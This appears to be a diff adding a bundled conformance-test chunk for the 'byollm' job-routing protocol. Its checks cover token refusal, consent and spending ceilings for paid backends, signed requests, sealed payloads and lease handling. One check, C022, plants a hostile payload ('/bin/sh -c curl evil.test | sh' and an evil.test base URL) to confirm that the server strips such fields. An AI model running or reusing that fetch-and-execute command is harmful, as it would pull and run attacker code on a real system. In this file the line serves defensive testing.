+          payload: prompt("logged prompt"),
+          owner: "alice"
+        });
+        ticking = daemon.runner.tick().catch(() => void 0);
+        await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {
+          what: "the backend to be called"
+        });
+        const during = await daemon.ingress.read();
+        const logged = during.find(
+          (entry) => entry.type === "prompt" && entry.jobId === job.id
+        );
+        assert(
+          logged !== void 0,
+          "a prompt reached the backend before it reached the ingress log"
+        );
+        assert(
+          logged.type === "prompt" && logged.prompt === "logged prompt",
+          "the ingress log did not record the prompt text"
+        );
+      } finally {
+        await daemon.dispose();
+        await ticking;
+      }
+    }
+  },
+  {
+    id: "C016_UNAUTHENTICATED_REFUSED",
+    title: "the protocol endpoints refuse an unknown token",
+    // `CONSENT_BEFORE_ROUTE` on this plane. A relay has a consent record; a
+    // direct site has pairing, and it is the same obligation — an upstream
+    // routes to a device it has a record binding, and there is no discovery
+    // path by which an unbound device receives work. Every endpoint is
+    // checked rather than just `claim`, which is what makes it the absence
+    // of a path rather than the absence of one door.
+    musts: ["PAIR_ONE_USER", "CONSENT_BEFORE_ROUTE"],
+    async run(target) {
+      for (const endpoint of ["claim", "heartbeat", "result", "release"]) {
+        const response = await target.fetch(
+          new Request(`${target.origin}/byollm/${endpoint}`, {
+            method: "POST",
+            headers: {
+              "content-type": "application/json",
+              authorization: "Bearer definitely-not-a-real-token"
+            },
+            body: JSON.stringify({ protocolVersion: "0" })
+          })
+        );
+        assert(
+          response.status === 401,
+          `${endpoint} answered ${String(response.status)} to an unknown token, not 401`
+        );
+      }
+    }
+  },
+  {
+    id: "C017_METERED_DEFAULTS_SELF",
+    title: "a paid backend is not shared until its owner says so, with a ceiling",
+    // `EFFECTIVE_OFFER_ONLY` too: bob asks for `public`, what reaches the
+    // server is `self`, and the server acts on what it was told rather than
+    // on what was wanted. That *is* the effective-offer rule, proved here
+    // without being named.
+    musts: [
+      "METERED_DEFAULTS_SELF",
+      "COST_NOT_CONFIGURABLE",
+      "EFFECTIVE_OFFER_ONLY"
+    ],
+    async run(target) {
+      const bob = await pairDaemon(target, {
+        owner: "bob",
+        offer: "public",
+        // Pointed at localhost — which changes nothing, because a named
+        // provider's cost comes from the registry, not from an address
+        // ({@link MUSTS.COST_NOT_CONFIGURABLE}).
+        metered: { provider: "openai", baseUrl: "http://127.0.0.1:11434/v1" }
+      });
+      try {
+        assert(
+          bob.loaded.routes.every((route) => route.offerScope === "self"),
+          "a metered backend was advertised beyond its owner without consent"
+        );
+        assert(
+          bob.loaded.routes.every((route) => route.cost === "metered"),
+          "a metered provider was read as free because of its base URL"
+        );
+        await bob.allowlist.add(
+          { origin: target.origin, owner: await ownerIdFor(target, "alice") },
+          Date.now()
+        );
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("spend someone else's money"),
+          owner: "alice",
+          audience: "public"
+        });
+        await bob.runner.tick();
+        await sleep(80);
+        const state = await target.job(job.id);
+        assert(
+          state?.state !== "ok",
+          "a stranger's job ran on a paid backend nobody agreed to share"
+        );
+        assert(
+          bob.backend.seen.length === 0,
+          "a stranger's prompt reached a paid backend"
+        );
+        const availability = await target.runnerAvailability({
+          kind: "llm.generate",
+          owner: "alice",
+          audience: "public"
+        });
+        assert(
+          !availability.available,
+          "the server offered a runner that will not take the work"
+        );
+        const own = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("my own work"),
+          owner: "bob",
+          audience: "self"
+        });
+        await bob.runner.tick();
+        await waitFor(async () => (await target.job(own.id))?.state === "ok", {
+          what: "the owner's own metered job to run"
+        });
+      } finally {
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C018_METERED_CEILING",
+    title: "a shared paid backend runs others' work, and stops at its ceiling",
+    musts: ["METERED_REQUIRES_CEILING", "REMOTE_IS_NEVER_FREE"],
+    async run(target) {
+      const bob = await pairDaemon(target, {
+        owner: "bob",
+        offer: "public",
+        metered: {
+          // The generic backend pointed at a remote address. No registry entry
+          // says what this costs; it is metered because of where it goes
+          // ({@link MUSTS.REMOTE_IS_NEVER_FREE}).
+          provider: "openai-http",
+          baseUrl: "https://models.example.com/v1",
+          acknowledged: true,
+          dailyCapCents: 500
+        }
+      });
+      try {
+        assert(
+          bob.loaded.routes.every((route) => route.cost === "metered"),
+          "a remote backend was treated as free"
+        );
+        assert(
+          bob.loaded.routes.every((route) => route.offerScope === "public"),
+          "a deliberately shared metered backend was narrowed anyway"
+        );
+        await bob.allowlist.add(
+          { origin: target.origin, owner: await ownerIdFor(target, "alice") },
+          Date.now()
+        );
+        const first = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("work bob agreed to pay for"),
+          owner: "alice",
+          audience: "public"
+        });
+        await bob.runner.tick();
+        await waitFor(
+          async () => (await target.job(first.id))?.state === "ok",
+          { what: "a consented metered job to run" }
+        );
+        await bob.spend.record("primary", 900, Date.now());
+        const second = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("work past the ceiling"),
+          owner: "alice",
+          audience: "public"
+        });
+        const seenBefore = bob.backend.seen.length;
+        await bob.runner.tick();
+        await sleep(80);
+        const state = await target.job(second.id);
+        assert(
+          state?.state !== "ok",
+          "a paid backend kept working past the ceiling its owner set"
+        );
+        assert(
+          bob.backend.seen.length === seenBefore,
+          "a prompt reached a paid backend that had spent its ceiling"
+        );
+        const own = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("my own work, my own key"),
+          owner: "bob",
+          audience: "self"
+        });
+        await bob.runner.tick();
+        await waitFor(async () => (await target.job(own.id))?.state === "ok", {
+          what: "the owner's own job to run past the community ceiling"
+        });
+      } finally {
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C019_CLAIM_ATOMIC",
+    title: "two runners racing one job \u2014 exactly one gets it",
+    musts: ["CLAIM_ATOMIC"],
+    async run(target) {
+      const a = await pairDaemon(target, { owner: "alice", label: "laptop" });
+      const b = await pairDaemon(target, { owner: "alice", label: "desktop" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("only once, please"),
+          owner: "alice",
+          audience: "self"
+        });
+        await Promise.all([a.runner.tick(), b.runner.tick()]);
+        await waitFor(async () => (await target.job(job.id))?.state === "ok", {
+          what: "the contested job to finish"
+        });
+        const ran = a.backend.seen.length + b.backend.seen.length;
+        assert(
+          ran === 1,
+          `the job ran ${String(ran)} times across two runners, not once`
+        );
+      } finally {
+        await a.dispose();
+        await b.dispose();
+      }
+    }
+  },
+  {
+    id: "C020_PAIR_CODE_EXPIRES",
+    title: "an expired device code cannot be redeemed",
+    musts: ["PAIR_CODE_EXPIRES"],
+    async run(target) {
+      const started = await target.fetch(
+        new Request(`${target.origin}/byollm/pair`, {
+          method: "POST",
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({
+            protocolVersion: PROTOCOL_VERSION2,
+            action: "start",
+            device: publicIdentityOf2(generateKeys(Date.now())),
+            daemon: {
+              version: "conformance",
+              label: "expiring-daemon",
+              platform: "linux"
+            },
+            capabilities: []
+          })
+        })
+      );
+      assert(started.status === 200, "pair start did not answer 200");
+      const pairing = await started.json();
+      await advance(target, pairing.expiresAt - Date.now() + 1e3);
+      let approved = true;
+      try {
+        await target.approvePairing(pairing.userCode, "alice");
+      } catch {
+        approved = false;
+      }
+      const polled = await target.fetch(
+        new Request(`${target.origin}/byollm/pair`, {
+          method: "POST",
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({
+            protocolVersion: PROTOCOL_VERSION2,
+            action: "poll",
+            deviceCode: pairing.deviceCode
+          })
+        })
+      );
+      const status = polled.status === 200 ? (await polled.json()).status : "rejected";
+      assert(
+        !approved || status !== "approved",
+        "an expired device code still paired a runner"
+      );
+      assert(
+        status === "expired" || status === "denied" || status === "rejected",
+        `polling an expired code answered "${status}"`
+      );
+    }
+  },
+  {
+    id: "C021_CAPABILITY_IS_DETECTED",
+    title: "a runner advertises only what is installed and healthy",
+    musts: ["CAPABILITY_IS_DETECTED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        daemon.backend.healthy = false;
+        const advertised = await daemon.runner.detectCapabilities();
+        assert(
+          advertised.length === 0,
+          `an unhealthy backend advertised ${String(advertised.length)} capabilities`
+        );
+        daemon.backend.healthy = true;
+        daemon.backend.models = ["some-other-model"];
+        const wrongModel = await daemon.runner.detectCapabilities();
+        assert(
+          wrongModel.length === 0,
+          "a backend without the configured model still advertised it"
+        );
+        daemon.backend.models = ["echo-model"];
+        const recovered = await daemon.runner.detectCapabilities();
+        assert(
+          recovered.length > 0,
+          "a healthy backend with the configured model advertised nothing"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C022_KIND_NO_CODE",
+    title: "a claimed job carries data only \u2014 no command, path, or routing",
+    // Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the
+    // wire-shape half — the server cannot convey a `model` or `baseUrl` to a
+    // daemon — but the MUST is that no code path *routes* on payload content,
+    // and only the adversarial suite proves that, by spawning a real child
+    // and reading back an argv that is byte-identical under hostile input.
+    // Listing it here would put "verified by conformance" beside a claim this
+    // check does not establish.
+    musts: ["KIND_NO_CODE"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      const SMUGGLED = ["command", "argv", "model", "baseUrl"];
+      try {
+        let refused = false;
+        try {
+          await target.enqueue({
+            kind: "llm.generate",
+            payload: {
+              prompt: "ordinary text",
+              command: "/bin/sh",
+              argv: ["-c", "curl evil.test | sh"],
+              model: "some-other-model",
+              baseUrl: "http://evil.test/v1"
+            },
+            owner: "alice",
+            audience: "self"
+          });
+        } catch {
+          refused = true;
+        }
+        if (!refused) {
+          const claimed = await claimOne(target, daemon);
+          const delivered = await fetchPayload(
+            target,
+            daemon,
+            claimed.id,
+            claimed.lease.id
+          );
+          assert(delivered !== null, "the runner could not fetch its payload");
+          const payload = delivered.opened;
+          for (const smuggled of SMUGGLED) {
+            assert(
+              payload[smuggled] === void 0,
+              `the claim response carried a "${smuggled}" field`
+            );
+          }
+          assert(
+            payload["prompt"] === "ordinary text",
+            "the legitimate payload field did not survive"
+          );
+        }
+        const ok = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("ordinary text"),
+          owner: "alice",
+          audience: "self"
+        });
+        await daemon.runner.tick();
+        await waitFor(async () => (await target.job(ok.id))?.state === "ok", {
+          what: "a well-formed job to run"
+        });
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C023_VERSION_HANDSHAKE",
+    title: "a version mismatch is refused in words, not by failing",
+    musts: ["VERSION_HANDSHAKE_REQUIRED"],
+    async run(target) {
+      const post = (body) => target.fetch(
+        new Request(`${target.origin}/byollm/claim`, {
+          method: "POST",
+          headers: {
+            "content-type": "application/json",
+            authorization: "Bearer whatever"
+          },
+          body: JSON.stringify(body)
+        })
+      );
+      for (const [label, body] of [
+        ["a version from the future", { protocolVersion: "99", max: 1 }],
+        ["no version at all", { max: 1 }],
+        ["a non-string version", { protocolVersion: 0, max: 1 }]
+      ]) {
+        const response = await post(body);
+        const parsed = await response.json();
+        assert(
+          parsed.error === "unsupported-protocol-version",
+          `${label}: answered "${parsed.error ?? "nothing"}" rather than unsupported-protocol-version`
+        );
+        assert(
+          Array.isArray(parsed.supported) && parsed.supported.length > 0,
+          `${label}: the refusal did not say what the server supports`
+        );
+        assert(
+          (parsed.message ?? "").length > 20,
+          `${label}: the refusal carried no usable message`
+        );
+      }
+      const authed = await post({ protocolVersion: PROTOCOL_VERSION2, max: 1 });
+      assert(
+        authed.status === 400 || authed.status === 401,
+        `a supported version with a bad token answered ${String(authed.status)}`
+      );
+    }
+  },
+  {
+    id: "C024_KEY_EXCHANGE",
+    title: "pairing exchanges identities, verifies them, and reveals nothing early",
+    musts: ["KEYS_EXCHANGED_AT_CONSENT"],
+    async run(target) {
+      const start = async (device) => target.fetch(
+        new Request(`${target.origin}/byollm/pair`, {
+          method: "POST",
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({
+            protocolVersion: PROTOCOL_VERSION2,
+            action: "start",
+            daemon: {
+              version: "conformance",
+              label: "key-exchange",
+              platform: "linux"
+            },
+            device,
+            capabilities: []
+          })
+        })
+      );
+      const honest = publicIdentityOf2(generateKeys(Date.now()));
+      const attacker = publicIdentityOf2(generateKeys(Date.now()));
+      const forged = await start({
+        ...honest,
+        encryption: attacker.encryption
+      });
+      assert(
+        forged.status >= 400,
+        `a device with an unsigned encryption key paired anyway (${String(forged.status)})`
+      );
+      const started = await start(honest);
+      assert(
+        started.status === 200,
+        "an honest device could not start pairing"
+      );
+      const pairing = await started.json();
+      const poll = async () => {
+        const response = await target.fetch(
+          new Request(`${target.origin}/byollm/pair`, {
+            method: "POST",
+            headers: { "content-type": "application/json" },
+            body: JSON.stringify({
+              protocolVersion: PROTOCOL_VERSION2,
+              action: "poll",
+              deviceCode: pairing.deviceCode
+            })
+          })
+        );
+        return await response.json();
+      };
+      const pending = await poll();
+      assert(
+        pending["site"] === void 0,
+        "a pending poll disclosed the site's keys before anyone approved"
+      );
+      await target.approvePairing(pairing.userCode, "alice");
+      const approved = await poll();
+      assert(
+        approved["status"] === "approved",
+        `poll after approval said "${String(approved["status"])}"`
+      );
+      const site = PublicIdentity.safeParse(approved["site"]);
+      assert(site.success, "the approval carried no usable site identity");
+      assert(
+        verifyPublicIdentity(site.data),
+        "the site's encryption key is not signed by the identity it presented"
+      );
+    }
+  },
+  {
+    id: "C025_SIGNED_REQUESTS",
+    title: "authentication is a signature over the request, not a secret",
+    musts: ["REQUESTS_SIGNED_NOT_BEARER"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const body = JSON.stringify({
+          protocolVersion: PROTOCOL_VERSION2,
+          runnerId: daemon.runnerId,
+          capabilities: await daemon.runner.detectCapabilities(),
+          max: 1
+        });
+        const post = (headers) => target.fetch(
+          new Request(`${target.origin}/byollm/claim`, {
+            method: "POST",
+            headers: { "content-type": "application/json", ...headers },
+            body
+          })
+        );
+        const sign = (over = {}) => signRequest2(daemon.keys, {
+          endpoint: over.endpoint ?? "claim",
+          runnerId: daemon.runnerId,
+          issuedAt: Date.now(),
+          body: over.body ?? body
+        });
+        const headersFor = (s) => ({
+          "x-byollm-runner": s.runnerId,
+          "x-byollm-issued-at": String(s.issuedAt),
+          "x-byollm-signature": s.signature
+        });
+        assert(
+          (await post(headersFor(sign()))).status === 200,
+          "a correctly signed request was refused"
+        );
+        assert(
+          (await post({})).status === 401,
+          "an unsigned request was accepted"
+        );
+        assert(
+          (await post(headersFor(sign({ body: '{"other":true}' })))).status === 401,
+          "a signature over different bytes was accepted"
+        );
+        assert(
+          (await post(headersFor(sign({ endpoint: "release" })))).status === 401,
+          "a signature for another endpoint was accepted"
+        );
+        const stranger = signRequest2(generateKeys(Date.now()), {
+          endpoint: "claim",
+          runnerId: daemon.runnerId,
+          issuedAt: Date.now(),
+          body
+        });
+        assert(
+          (await post(headersFor(stranger))).status === 401,
+          "a signature from an unpinned key was accepted"
+        );
+        const stale = signRequest2(daemon.keys, {
+          endpoint: "claim",
+          runnerId: daemon.runnerId,
+          issuedAt: Date.now() - 864e5,
+          body
+        });
+        assert(
+          (await post(headersFor(stale))).status === 401,
+          "a signature from a day ago was accepted"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C026_LEASE_SCOPED_RELEASE",
+    title: "a release acts on the lease it names, not whatever lease exists",
+    musts: ["LEASE_SCOPED_BY_GRANT"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("run me once"),
+          owner: "alice",
+          audience: "self"
+        });
+        const first = await claimOne(target, daemon);
+        assert(
+          typeof first.lease.id === "string" && first.lease.id.length > 0,
+          "a claimed job arrived without a lease id \u2014 nothing can be scoped to it"
+        );
+        await releaseLease(target, daemon, job.id, first.lease.id);
+        const second = await claimOne(target, daemon);
+        assert(
+          second.lease.id !== first.lease.id,
+          "re-claiming the same job reused the lease id, so the two grants are indistinguishable"
+        );
+        await releaseLease(target, daemon, job.id, first.lease.id);
+        const state = await target.job(job.id);
+        assert(
+          state?.state === "claimed" || state?.state === "running",
+          `a replayed release returned the job to "${String(state?.state)}" while it was held`
+        );
+        await releaseLease(target, daemon, job.id, second.lease.id);
+        assert(
+          (await target.job(job.id))?.state === "queued",
+          "releasing the current lease did not return the job to the queue"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C027_CLAIM_ANSWERS_WITH_STUBS",
+    title: "a claim carries routing metadata and no work",
+    musts: ["STUB_METADATA_EXHAUSTIVE"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("this must not appear in a claim response"),
+          owner: "alice",
+          audience: "self"
+        });
+        const stub = await claimOne(target, daemon);
+        const asRecord = stub;
+        assert(
+          asRecord["payload"] === void 0,
+          "the claim response carried the payload"
+        );
+        assert(
+          !JSON.stringify(stub).includes("this must not appear"),
+          "the prompt text appeared somewhere in the claim response"
+        );
+        const parsed = ClaimedStub.safeParse(stub);
+        assert(
+          parsed.success,
+          `the claim response is not a valid stub: ${parsed.success ? "" : parsed.error.issues.map((i) => i.path.join(".")).join(", ")}`
+        );
+        assert(
+          ["small", "medium", "large", "unbounded"].includes(
+            String(asRecord["sizeClass"])
+          ),
+          `sizeClass was "${String(asRecord["sizeClass"])}"`
+        );
+        const fetched = await fetchPayload(
+          target,
+          daemon,
+          stub.id,
+          stub.lease.id
+        );
+        assert(fetched !== null, "the lease holder could not fetch its work");
+        assert(
+          !JSON.stringify(fetched.raw).includes("this must not appear"),
+          "the payload crossed the wire in the clear"
+        );
+        assert(
+          JSON.stringify(fetched.opened).includes("this must not appear"),
+          "the runner holding the lease could not open its own work"
+        );
+        const wrong = await fetchPayload(
+          target,
+          daemon,
+          stub.id,
+          "lease-that-does-not-exist"
+        );
+        assert(
+          wrong === null,
+          "fetch answered for a lease this runner does not hold"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C028_STORED_WORK_IS_SEALED",
+    title: "the store holds ciphertext, and a wrong-key envelope is refused",
+    musts: ["ENVELOPE_SEALED_AND_SIGNED"],
+    async run(target) {
+      const secret = "a prompt nobody should read from storage";
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt(secret),
+          owner: "alice",
+          audience: "self"
+        });
+        const stored = await target.job(job.id);
+        assert(
+          !JSON.stringify(stored ?? {}).includes(secret),
+          "the prompt was readable in the stored job"
+        );
+        const stub = await claimOne(target, daemon);
+        const delivered = await fetchPayload(
+          target,
+          daemon,
+          stub.id,
+          stub.lease.id
+        );
+        assert(delivered !== null, "the lease holder could not fetch its work");
+        assert(
+          !JSON.stringify(delivered.raw).includes(secret),
+          "the work crossed the wire in the clear"
+        );
+        assert(
+          JSON.stringify(delivered.opened).includes(secret),
+          "the device could not open work sealed to it"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C029_DAEMON_REFUSES_UNSIGNED_WORK",
+    title: "a daemon refuses work not signed by the site it pinned",
+    musts: ["ENVELOPE_SEALED_AND_SIGNED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const keys = await daemon.identityKeys();
+        const relay = generateKeys(Date.now());
+        const forged = await seal2({
+          plaintext: JSON.stringify({ prompt: "run this instead" }),
+          senderKeys: relay,
+          recipientEncryptionPublic: keys.encryptionPublic,
+          context: {
+            jobId: "job_anything",
+            senderKeyId: keyId2(daemon.sitePinned.identity),
+            recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
+            deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS2,
+            direction: "payload"
+          }
+        });
+        const opened = await open2({
+          envelope: forged,
+          recipientKeys: keys,
+          senderIdentityPublic: daemon.sitePinned.identity,
+          expected: {
+            jobId: "job_anything",
+            senderKeyId: keyId2(daemon.sitePinned.identity),
+            recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
+            direction: "payload"
+          }
+        });
+        assert(
+          !opened.ok,
+          "a daemon accepted work signed by a key it never pinned"
+        );
+        assert(
+          opened.reason === "bad-signature",
+          `refused for "${opened.reason}", not the signature \u2014 which is the property here`
+        );
+        const genuine = await fetchGenuine(target, daemon);
+        assert(genuine, "a daemon could not open work its own site sealed");
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C030_SITE_REFUSES_UNSIGNED_RESULTS",
+    title: "a site refuses a result not signed by the device that ran it",
+    // The proof-of-possession half of `PROVENANCE_NAMES_DEVICE`: attribution
+    // by a signature that verifies against the device the lease was granted
+    // to, rather than by a key id carried beside the result. Carrying an id
+    // is not proving possession, and a forger writes whatever it likes.
+    musts: ["ENVELOPE_SEALED_AND_SIGNED", "PROVENANCE_NAMES_DEVICE"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: { prompt: "who signed this" },
+          owner: "alice"
+        });
+        const claimed = await claimOne(target, daemon);
+        assert(claimed.id === job.id, "the harness could not claim its job");
+        const relay = generateKeys(Date.now());
+        const forged = await postResult(target, daemon, {
+          jobId: job.id,
+          leaseId: claimed.lease.id,
+          outcome: { outcome: "ok", text: "an answer the device never gave" },
+          sealWith: relay
+        });
+        assert(
+          forged.status !== 200,
+          "a site accepted a result signed by a key it never approved"
+        );
+        const afterForgery = await target.job(job.id);
+        assert(
+          afterForgery?.outcome === void 0,
+          "a refused result still reached the app"
+        );
+        const real = await postResult(target, daemon, {
+          jobId: job.id,
+          leaseId: claimed.lease.id,
+          outcome: { outcome: "ok", text: "the genuine answer" }
+        });
+        assert(
+          real.status === 200,
+          `a site refused a result its own device sealed (${String(real.status)})`
+        );
+        const lying = await postResult(target, daemon, {
+          jobId: job.id,
+          leaseId: claimed.lease.id,
+          outcome: {
+            outcome: "error",
+            code: "backend-error",
+            message: "it actually failed",
+            retryable: false
+          },
+          disposition: "ok"
+        });
+        assert(
+          lying.status !== 200,
+          "a site believed a disposition the sealed outcome contradicted"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C032_SERVER_REFUSES_TO_OFFER",
+    title: "a claim is not answered with work the claimer may not run",
+    musts: ["AUDIENCE_BOTH_SIDES"],
+    async run(target) {
+      const bob = await pairDaemon(target, { owner: "bob", offer: "public" });
+      try {
+        const priv = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("alice's own machines only"),
+          owner: "alice",
+          audience: "self"
+        });
+        const offered = await claimRaw(target, bob);
+        assert(
+          !offered.some((job) => job.id === priv.id),
+          "a server offered a `self` job to a device its owner does not own"
+        );
+        const shared = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("anyone may run this"),
+          owner: "alice",
+          audience: "public"
+        });
+        const second = await claimRaw(target, bob);
+        assert(
+          second.some((job) => job.id === shared.id),
+          "a server withheld a `public` job from a public-offering device"
+        );
+      } finally {
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C031_ROSTER_NOT_DISCLOSED",
+    title: "a claimed stub carries no list of who may run the job",
+    musts: ["ROSTER_NOT_DISCLOSED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("who else is on this roster"),
+          owner: "alice",
+          audience: "named",
+          // The site restricts the job to people who are not this daemon's
+          // owner. A stub that carried the list would be handing a routing
+          // party the membership of alice's group.
+          audienceAllow: ["alice", "carol", "erin"]
+        });
+        const claimed = await claimOne(target, daemon);
+        assert(
+          claimed.id === job.id,
+          "the harness could not claim its own named job"
+        );
+        const asRecord = claimed;
+        assert(
+          asRecord["audienceAllow"] === void 0,
+          "a claimed stub carried audienceAllow"
+        );
+        const parsed = ClaimedStub.safeParse(claimed);
+        assert(
+          parsed.success,
+          "the claim response is not a valid stub, so its fields prove nothing"
+        );
+        const wire = JSON.stringify(claimed);
+        for (const member of ["carol", "erin"]) {
+          assert(
+            !wire.includes(member),
+            `a claimed stub disclosed roster member "${member}"`
+          );
+        }
+        assert(
+          claimed.audience === "named",
+          "the stub lost the audience routing decides on"
+        );
+        assert(
+          typeof claimed.owner === "string" && claimed.owner.length > 0,
+          "the stub lost the owner"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  }
+];
+
+// src/certify.ts
+import {
+  MUSTS,
+  MUST_IDS,
+  mustsVerifiedBy
+} from "@byollm/protocol";
+async function certify(target, options = {}) {
+  const only = options.only;
+  const selected = only ? CHECKS.filter((check) => only.includes(check.id)) : CHECKS;
+  const results = [];
+  for (const check of selected) {
+    await target.reset();
+    const started = Date.now();
+    try {
+      await check.run(target);
+      const result = {
+        check,
+        passed: true,
+        durationMs: Date.now() - started
+      };
+      results.push(result);
+      options.onProgress?.(result);
+    } catch (error) {
+      const result = {
+        check,
+        passed: false,
+        durationMs: Date.now() - started,
+        error: error instanceof Error ? error.message : String(error)
+      };
+      results.push(result);
+      options.onProgress?.(result);
+    }
+  }
+  return {
+    target: target.name,
+    passed: results.every((result) => result.passed),
+    results,
+    uncoveredMusts: uncoveredMusts(selected)
+  };
+}
+function uncoveredMusts(checks = CHECKS) {
+  const covered = new Set(checks.flatMap((check) => check.musts));
+  return mustsVerifiedBy("conformance").filter((id) => !covered.has(id));
+}
+function miscoveredMusts(checks = CHECKS) {
+  return [...new Set(checks.flatMap((check) => check.musts))].filter((id) => MUSTS[id].verifiedBy !== "conformance").sort();
+}
+var VERIFICATION_NOTE = "(`adversarial` = proved by the reference daemon's own suites; `construction` = true by code shape; `operator` = a deployment claim, verifiable only by audit or source. None is asserted by this run.)";
+function formatReport(report) {
+  const lines = [];
+  lines.push(`byollm conformance \u2014 ${report.target}`);
+  lines.push("");
+  for (const result of report.results) {
+    lines.push(
+      `  ${result.passed ? "\u2713" : "\u2717"} ${result.check.id}  ${result.check.title}  (${String(result.durationMs)}ms)`
+    );
+    if (!result.passed && result.error !== void 0) {
+      lines.push(`      ${result.error}`);
+    }
+  }
+  const failed = report.results.filter((result) => !result.passed).length;
+  lines.push("");
+  lines.push(
+    report.passed ? `  ${String(report.results.length)} checks passed \u2014 ${report.target} is byollm-compatible.` : `  ${String(failed)} of ${String(report.results.length)} checks failed \u2014 not compatible.`
+  );
+  if (report.uncoveredMusts.length > 0) {
+    lines.push("");
+    lines.push("  MUSTs this kit can assert but does not yet:");
+    for (const id of report.uncoveredMusts) {
+      lines.push(`    - ${id}: ${MUSTS[id].statement}`);
+    }
+  }
+  const elsewhere = MUST_IDS.filter(
+    (id) => MUSTS[id].verifiedBy !== "conformance"
+  );
+  if (elsewhere.length > 0) {
+    lines.push("");
+    lines.push("  Verified elsewhere, not by this kit:");
+    for (const kind of ["adversarial", "construction", "operator"]) {
+      const ids = elsewhere.filter((id) => MUSTS[id].verifiedBy === kind);
+      if (ids.length === 0) continue;
+      lines.push(`    ${kind}: ${ids.join(", ")}`);
+    }
+    lines.push(`    ${VERIFICATION_NOTE}`);
+  }
+  return `${lines.join("\n")}
+`;
+}
+
+export {
+  EchoBackend,
+  pairDaemon,
+  ownerIdFor,
+  waitFor,
+  sleep,
+  advance,
+  CHECKS,
+  certify,
+  uncoveredMusts,
+  miscoveredMusts,
+  formatReport
+};
+//# sourceMappingURL=chunk-XBHNJDI7.js.map